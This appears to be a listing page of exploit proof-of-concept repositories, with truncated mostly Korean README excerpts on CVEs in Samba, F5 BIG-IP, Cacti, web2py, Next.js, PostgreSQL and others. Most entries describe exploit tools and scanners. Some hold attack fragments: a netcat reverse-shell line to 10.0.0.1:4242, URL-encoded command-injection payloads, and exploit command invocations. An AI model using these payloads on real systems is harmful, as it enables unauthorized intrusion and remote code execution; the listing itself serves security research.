CVE-2025-53547-POC

CVE-2025-53547 POC 이것은 CVE-2025-53547에 대한 PoC입니다. Chart.lock이 테스트 파일을 /tmp/1.txt에 링크합니다. /tmp/1.txt는 /tmp/2.txt를 생성하는 명령어를 주입합니다. 실제 제품 환경에서는 Chart.lock 링크 파일을 변경하여 다음과 같은 원하는 명령어를 주입할 수 있습니다: /root/.bashrc /root/.bashprofile /etc/profile ...... 또는 실행할 수 있는 셸 스크립트 파일이라면 무엇이든 가능합니다. 그런 다음...

React2shell-ultimate-scanner

CVE-2025-55182 고급 스캐너 🚀 CVE-2025-55182 를 탐지하고 검증하기 위한 전문적이고 자동화된 보안 스캐너 로, Next.jsReact Server Components에 영향을 미치는 중요한 취약점입니다. 빠르고 깔끔하며 신뢰할 수 있는 취약점 검증을 원하는 보안 연구원, 침투 테스터, 버그 바운티 헌터 를 위해 설계되었습니다. ✨ 기능 🔍 CVE-2025-55182 자동 탐지 ⚡ 빠르고 가벼운 Bash 기반 도구 🎯 사용자 정의 명령 실행 지원 📦 ProjectDiscovery Nuclei 템플릿에서 영...

CVE-2019-16278_Nostromo-1.9.6---Remote-Code-Execution

POC 저장소: https://github.com/CybermonkX/CVE-2019-16278Nostromo-1.9.6---Remote-Code-Execution.git 📜 설명 이 저장소에는 Nostromo 1.9.6웹 서버의 취약점인 CVE-2019-16278 에 대한 Python 익스플로잇이 포함되어 있습니다. 이 취약점은 디렉터리 트래버설을 악용하여 대상 시스템에서 임의의 명령을 실행함으로써 원격 코드 실행RCE을 가능하게 합니다. 🚀 기능 취약한 대상에서 사용자 지정 셸 명령을 실행합니다. 리버스 셸 페이로드를...

CVE-2019-9193-Postgresql-RCE

使用法: CVE-2019-9193.py -h -i IP -p PORT -d DATABASE -c COMMAND -t TIMEOUT -U USER -P PASSWORD 例: python3 CVE-2019-9193.py -i 127.0.0.1 -p 5432 -U postgres -c 'id' 例2: python3 CVE-2019-9193.py -h localhost -p 5432 -U postgres -c 'id' 出力: + Connecting to PostgreSQL Database on 127.0.0.1:5432 +...

CVE-2019-15107_detection

CVE-2019-15107detection 이 스크립트는 서버가 취약한 버전의 Webmin을 실행 중인지 확인합니다. Webmin =1.920 명령어 주입 - CVE-2019-15107...

CVE-2025-25706

CVE-2025-25706 Description Item: Product Vendor: freebsdbrasil Item: ProApps - Enterprise Appliance Editor Creator: DreamWeaver PHP: PHP Version 7.3.18 Java Script Library: Jquery UI 1.6 | Jquery 1.2.6 Server: NGINX Operational System: FreeBDS Unix 취약점 유형: 원격 코드 실행 취약점 설명: 이 취약점은 사용자가 ping 기능을 통해...

Rust_CVE-2025-55182

CVE-2025-55182 취약점 익스플로잇 도구 Rust 버전 프로젝트 개요 본 프로젝트는 Rust 언어로 개발된 보안 연구 도구로, [email protected]에 존재하는 원격 코드 실행RCE 취약점을 대상으로 합니다. 이 취약점은 공격자가 악의적인 Server Action 요청을 조작하여 인증 없이 대상 서버에서 임의 코드를 실행할 수 있도록 합니다. 핵심 기능 이 도구는 다양한 익스플로잇 방식을 제공합니다: 명령 실행: vm 모듈 또는 childprocess 모듈을 통해 대상 서버에서 임의 Shell 명령 ...

CVE-2020-10199_POC-EXP

影响版本 + + EXP: python3 cve-2020-10199poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb + + VER: Nexus Repository Manager OSS/Pro version + + EXP: python3 cve-2020-10199cmd.py http://127.0.0.1:8081 admin admin...

CVE-2007-2447

CVE-2007-2447 PoC: Samba "usermap script" 원격 명령 실행 과거 CVE. 이 저장소에는 연구 및 교육적 검토를 위한 소규모 개념 증명PoC 스크립트가 포함되어 있습니다. 주요 스크립트는 usermapscriptCommandExecution.py입니다. 참고 자료: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 사용법 저장소를 클론하고 통제된 실습 환경에서 스크립트를 실행하세요. PoC는 선택적으로 LHOST:LPORT로의 리버스 셸...

Gitlab-CVE-2021-22205

Gitlab-CVE-2021-22205 CVE-2021-22205의 멀티스레드 배치 탐지 스크립트 dnslog를 PoC와 함께 사용하여 탐지 가능 멀티스레드를 사용하여 탐지 명령 실행 사용자 정의 가능...

cve-2023-46747

CVE-2023-46747 익스플로잇 스크립트 이 스크립트는 F5 BIG-IP TMUI 원격 코드 실행 취약점CVE-2023-46747을 악용합니다. 이 스크립트를 사용하면 인증되지 않은 공격자가 취약한 F5 BIG-IP 시스템에서 임의의 명령을 실행할 수 있습니다. 목차 기능 요구 사항 사용법 매개변수 작동 방식 고지 사항 기능 인증되지 않은 사용자 생성: 대상 시스템에 사용자를 생성합니다. 토큰 획득: 생성된 사용자를 사용하여 인증 토큰을 획득합니다. 원격 명령 실행: 대상 시스템에서 임의의 셸 명령을 실행합니다. 요구 사...

poc-proxycommand-vulnerable

안전하지 않은 /.ssh/config를 통한 RCE SSH를 사용한 터널 및 연결 프록시를 위해 ProxyCommand에서 %h, %p와 같은 토큰을 사용하는 것은 꽤 일반적입니다. 취약한 설정 host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p 참고: 처음 평가에서는 '%h작은따옴표를 사용하면 이를 피할 수 있을 것이라고 생각했지만, 다음과 같은 방식으로는 여전히 취약할 것으로 보입니다: url = ssh://'open...

CVE-2022-1388

CVE-2022-1388 BIG-IP iControl REST 취약점 CVE-2022-1388 이 취약점으로 인해 관리 포트 및/또는 자체 IP 주소를 통해 BIG-IP 시스템에 네트워크로 접근할 수 있는 인증되지 않은 공격자가 임의의 시스템 명령을 실행하거나, 파일을 생성·삭제하거나, 서비스를 비활성화할 수 있습니다. 데이터 플레인data plane 노출은 없으며, 이는 컨트롤 플레인control plane 문제일 뿐입니다. 사용법 1、write hostIP address in host.txt 2、python3...

CVE-2023-46805

CVE-2023-46805 스캐너 Shodan을 사용하여 국가별로 잠재적으로 취약한 Ivanti Connect Secure 어플라이언스를 찾는 CVE-2023-46805 스캐너입니다. 스크립트 버전: 1.3 Assetnote의 최근 블로그 게시물로 업데이트되었습니다. ⚠️ 이 스크립트는 방어 목적으로 작성되었으며, 사이버보안 전문가가 잠재적으로 취약한 ICS 어플라이언스를 식별하고 영향을 받는 조직에 가능한 한 빨리 연락하기 위해 사용해야 합니다. IP 중 하나가 취약한 ICS 어플라이언스 로 표시된 경우 Ivanti가 개발한...

CVE-2023-45158

CVE-2023-45158 단계 1. 웹 서버를 실행합니다. cd web2py python3 web2py.py 2. URL http://:8000/hack?msg=%27%3B%3B%27을 사용하여 명령어를 주입합니다. 와 를 자신의 값으로 교체하세요. 예시 1. 서버에 파일 생성 http://:8000/hack?msg=%27%3Btouch%20hack%3B%27 2. 리버스 셸 공격자 머신에서 nc -l 127.0.0.1 8080을 실행합니다. URL...

CVE-2022-46169

CVE 2022-46169 이 스크립트는 Cacti 1.2.22까지의 버전에 존재하는 인증되지 않은 명령 주입 취약점을 악용하여, 인증되지 않은 원격 코드 실행을 달성하고 리버스 셸을 획득합니다...

CVE-2015-1427

CVE-2015-1427 매개변수 -u 단일 URL -l URL 파일 지정 -c 명령 지정...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 사용법 대상 10.129.232.46의 445번 포트를 공격하고, 10.10.14.82의 443번 포트로 리버스 셸 전송 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 사용자 지정 rport 및 lport 사용 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82...

fwbt

fwbt Writeup: https://www.labs.greynoise.io/grimoire/2024-08-20-bluuid-firewalla/ Firewalla와 Bluetooth Low-Energy를 통한 상호작용 및 CVE-2024-40892 / CVE-2024-40893 악용을 위한 개념 증명PoC 코드 별도의 구성 없이 로컬 인근의 Firewalla를 스캔하여 License UUID의 체크섬을 유출합니다. License UUID를 획득한 경우 main.go의 var myLicense = ""에 정의할 수 있으며, 이...

CVE-2025-54100

CVE-2025-54100 – PowerShell 응답 구문 분석 PoC CVE-2025-54100 이 악성 HTML 구문 분석을 통해 Windows PowerShell 5.1 에서 원격 코드 실행RCE을 유발하는 방법을 시연합니다. CVE-2025-54100이란? 취약점 유형: Invoke-WebRequest가 -UseBasicParsing 매개변수를 사용하지 않을 때 명령 삽입 위험 심각도: CVSS 7.8 High 근본 원인: MSHTML 기반 HTML 응답 구문 분석으로 인해 스크립트 실행예: ActiveXObject이...